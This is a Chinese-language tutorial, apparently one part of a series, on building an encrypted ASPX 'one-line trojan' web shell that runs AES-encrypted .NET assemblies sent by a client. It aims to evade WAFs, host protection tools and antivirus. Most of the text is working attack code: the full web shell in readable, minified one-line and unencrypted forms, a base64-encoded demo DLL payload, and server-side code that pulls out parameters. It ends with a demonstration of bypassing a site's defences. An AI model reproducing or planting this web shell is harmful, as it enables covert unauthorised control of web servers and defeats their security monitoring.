概述
本系列文章重写了java、.net、php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具。从而一劳永逸的绕过WAF或者其他网络防火墙的检测。当然,截止到今天,这三个版本一句话木马也是可以绕过基于主机的各种文件特征检测防护系统的,比如安全狗、D盾以及各种杀毒软件。本来是想把这三个版本写在一篇文章里,过程中发现篇幅太大,所以分成了四篇,分别是: 利用动态二进制加密技术实现新型一句话木马之Java篇 利用动态二进制加密技术实现新型一句话木马之.NET篇 利用动态二进制加密技术实现新型一句话木马之php篇 利用动态二进制加密技术实现新型一句话木马之客户端下载及功能介绍
前言
在上一篇文章《利用动态二进制加密技术实现新型一句话木马之Java篇》中我们介绍了一种可以一劳永逸绕过所有流量型防护系统的思路,并完成了其Java版本的实现,绕过流程大体如下图:
详细内容请参考上一篇文章,现在我们继续实现该思路的.net版本。
实现篇
服务端实现
现有的可以执行任意代码的aspx一句话木马是利用Jscript.net的eval函数来实现的,通过向eval传递Jscript.net源代码来执行任意代码,和asp的eval是同样的效果。这个经典版本的一句话原创者是ISTO团队的kj021320。
1. 实现服务器端动态解析二进制DLL文件
在Java中,每个类经过编译之后都单独对应一个class文件,而在.net中则不同,.net中不存在单个类对应的二进制文件,而是引入了一个叫做Assembly(程序集)的概念,已编译的类是以Assembly的形式来承载的,Assembly是供CLR执行的可执行文件。在.NET下,托管的DLL和EXE都称之为Assembly,一个Assembly可以包含多个类。 而Assembly类提供了一个load方法:
public static System.Reflection.Assembly Load (byte[] rawAssembly);
Loads the assembly with a common object file format (COFF)-based image containing an emitted assembly. The assembly is loaded into the application domain of the caller.
这个方法接收Assembly文件的字节数组,并返回一个Assembly类型的对象。得到Assembly对象之后,我们继续调用该对象的CreateInstance方法,即可实例化dll文件中的类,CreateInstance方法的原型如下:
public object CreateInstance (string typeName);
因此我们只要先用C#写好自己的Payload,然后编译成dll,然后将dll文件的二进制字节流传入Load函数即可实现动态解析执行我们已经编译好的二进制类文件。 下面我们写个demo来测试一下:
Payload.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Diagnostics;
public class Payload
{
public override bool Equals(Object obj)
{
Process.Start("calc.exe");
return true;
}
}
这段Payload很简单,就是启动一个计算器。这里我们重写了父类的Equals方法(至于为什么重写Equals方法,请参考上一篇文章《利用动态二进制加密技术实现新型一句话木马之Java篇》)。 把这个类编译成dll文件,并将该文件做一下Base64编码,然后编写如下Demo:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Reflection;
using System.Security.Cryptography;
namespace ConsoleApplication1
{
class Program
{
public static void Main()
{
string Payload="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";
Assembly myAssebly=System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
Object myPaylaod = myAssebly.CreateInstance("Payload");
myPaylaod.Equals("");
}
}
}
简单解释一下代码:
- 字符串类型变量Payload的值为Paylaod.dll的二进制文件Base64编码。
- 将变量Payload转换为byte数组,传递给System.Reflection.Assembly.Load方法,该方法解析byte数组并返回一个Assembly对象。
- 调用Assembly对象的CreateInstance方法,并把我们Payload的类名作为参赛传递,得到Payload类的实例myPayload。
- 调用Payload类的Equals方法,执行流进入我们的可控范围,弹出计算器。
OK,下面我们执行看下效果:
2. 生成密钥
和Java版本类似,首先检测请求方式,如果是带了密码字段的GET请求,则随机产生一个128位的密钥,并将密钥写进Session中,然后通过response发送给客户端,代码如下:
if (Request["pass"]!=null)
{
Session.Add("k", Guid.NewGuid().ToString().Replace("-", "").Substring(16)); Response.Write(Session[0]); return;
}
这样,密钥在服务端生成并绑定至当前会话,后续发送payload的时候只需要发送加密后的二进制流,无需发送密钥即可在服务端解密,这时候waf捕捉到的只是一堆毫无意义的二进制数据流。
3. 解密数据,执行
当客户端请求方式为POST时,服务器先从request中取出加密过的二进制数据(base64格式),代码如下:
byte[] key = Encoding.Default.GetBytes(Session[0] + "");
byte[] content = Request.BinaryRead(Request.ContentLength);
byte[] decryptContent = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(key, key).TransformFinalBlock(content, 0, content.Length); System.Reflection.Assembly.Load(decryptContent).CreateInstance("Payload").Equals("");
4. 改进一下
上一篇中提到,我们的目标是在Payload的Equals方法中取到Request、Response、Session等和Http请求强相关的对象。在Java中,我们是通过给Equals传递pageContext内置对象的方式来获得,在aspx中,则更简单,只需要传递this指针即可。
经过分析发现,aspx页面中的this指针类型为System.Web.UI.Page,该类表示一个从托管 ASP.NET Web 应用程序的服务器请求的 .aspx 文件,幸运的是,和Http会话相关的对象,都可以通过Page对象访问到,如HttpRequest Request=(System.Web.UI.Page)obj.Request。 我们只需要把
System.Reflection.Assembly.Load(decryptContent).CreateInstance("Payload").Equals("");
改成
System.Reflection.Assembly.Load(decryptContent).CreateInstance("Payload").Equals(this);
即可实现在Payload中操作Request、Response、Session、Server等等。
5. 完整代码
<%@ Page Language="C#" %>
<%
if (Request["pass"]!=null)
{
Session.Add("key", Guid.NewGuid().ToString().Replace("-", "").Substring(16)); Response.Write(Session[0]); return;
}
byte[] key = Encoding.Default.GetBytes(Session[0] + "");
byte[] content = Request.BinaryRead(Request.ContentLength);
byte[] decryptContent = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(key, key).TransformFinalBlock(content, 0, content.Length);
System.Reflection.Assembly.Load(decryptContent).CreateInstance("Payload").Equals(this);
%>
为了增加可读性,我对上述代码做了一些扩充,简化一下就是下面这一行:
<%@ Page Language="C#" %><%if (Request["pass"]!=null){ Session.Add("k", Guid.NewGuid().ToString().Replace("-", "").Substring(16)); Response.Write(Session[0]); return;}byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);System.Reflection.Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>
当然如果去掉动态加密而只实现传统一句话木马的功能的话,可以再精简一下,如下:
<%@ Page Language="C#" %><%if (Request["pass"]!=null)System.Reflection.Assembly.Load(Request.BinaryRead(Request.ContentLength)).CreateInstance("U").Equals(this);%>
至此,具有动态解密功能的、能解析执行任意二进制流的新型aspx一句话木马就完成了。
客户端实现
由于Java、.net、php三个版本是公用一个客户端,且其中多个模块可以实现复用,为了节省篇幅,此处就不再介绍重叠的部分,只针对.net平台特异化的部分介绍一下。
1. 远程获取加密密钥
详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。
2. 动态生成二进制字节数组
为了实现客户端跨平台使用,我们的客户端采用Java语言编写,因此就无法动态编译C#的dll文件。而是在windows平台把C#版本的Payload编译成dll文件,然后以资源文件的形式嵌入至客户端。
3. 已编译类的参数化
既然上文已经提及,我们无法在Java环境中去动态修改.net的类文件来动态修改Payload中的参数。那我们就只能在Payload本身代码中想办法了。 .NET的System.Reflection.Assembly.Load在解析COFF可执行文件时有一个特性,那就是它在解析时会自动忽略COFF文件尾部附加的额外数据。聪明的你应该想到怎么样把参数动态传到Payload了。
请看下图:
- 客户端把参数值拼接在DLL文件的底部,然后一起进行AES加密,加密之后传递到服务端。
- 服务端收到加密字节流之后进行AES解密,并把解密的内容(包括DLL字节流和参数字节流)传入System.Reflection.Assembly.Load,由于Assembly的解析特性,会自动忽略掉DLL文件尾部的额外参数字节流。
- 执行流进入Payload的Equals函数,在函数中由于可以访问Request和Session,于是用Session中的key对Requset中的完整加密字节流再次解密。
- 解密得到DLL文件字节流和额外参数字节流,然后只要把DLL尾部附加的额外参数字节流取出来,便可得到客户端传过来的额外参数。
服务端取参数的实现代码如下:
private void fillParams()
{
this.Request.InputStream.Seek(0, 0);
byte[] fullData = Request.BinaryRead(Request.ContentLength);
byte[] key = System.Text.Encoding.Default.GetBytes(Session[0] + "");
fullData = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(key, key).TransformFinalBlock(fullData, 0, fullData.Length);
Dictionary<string, object> extraMap = getExtraData(fullData);
if (extraMap != null)
{
foreach (var f in extraMap)
{
this.GetType().GetField(f.Key).SetValue(this, f.Value);
}
}
}
private Dictionary<string, object> getExtraData(byte[] fullData)
{
Request.InputStream.Seek(0, 0);
int extraIndex = IndexOf(fullData, new byte[] { 0x7e, 0x7e, 0x7e, 0x7e, 0x7e, 0x7e });
byte[] extraData = new List<byte>(fullData).GetRange(extraIndex + 6, fullData.Length - extraIndex - 6).ToArray();
String extraStr = System.Text.Encoding.Default.GetString(extraData);
System.Web.Script.Serialization.JavaScriptSerializer serializer = new System.Web.Script.Serialization.JavaScriptSerializer();
Dictionary<string, object> extraMap = serializer.Deserialize<Dictionary<string, object>>(extraStr);
return extraMap;
}
internal int IndexOf(byte[] srcBytes, byte[] searchBytes)
{
int count = 0;
if (srcBytes == null) { return -1; }
if (searchBytes == null) { return -1; }
if (srcBytes.Length == 0) { return -1; }
if (searchBytes.Length == 0) { return -1; }
if (srcBytes.Length < searchBytes.Length) { return -1; }
for (int i = 0; i < srcBytes.Length - searchBytes.Length; i++)
{
if (srcBytes[i] == searchBytes[0])
{
if (searchBytes.Length == 1) { return i; }
bool flag = true;
for (int j = 1; j < searchBytes.Length; j++)
{
if (srcBytes[i + j] != searchBytes[j])
{
flag = false;
break;
}
}
if (flag)
{
count++;
if (count == 2)
return i;
}
}
}
return -1;
}
通过这种方式,我们就可以在Java环境中动态获取参数化的DLL字节流。
4. 加密payload
详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。
5. 发送payload,接收执行结果并解密。
详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。
案例演示
下面我找了一个测试站点来演示一下绕过防御系统的效果: 首先我上传一个常规的aspx一句话木马,然后用菜刀客户端连接,如下图,连接直接被防御系统reset了:
然后上传我们的新型一句话木马,并用响应的客户端连接,可以成功连接并管理目标系统: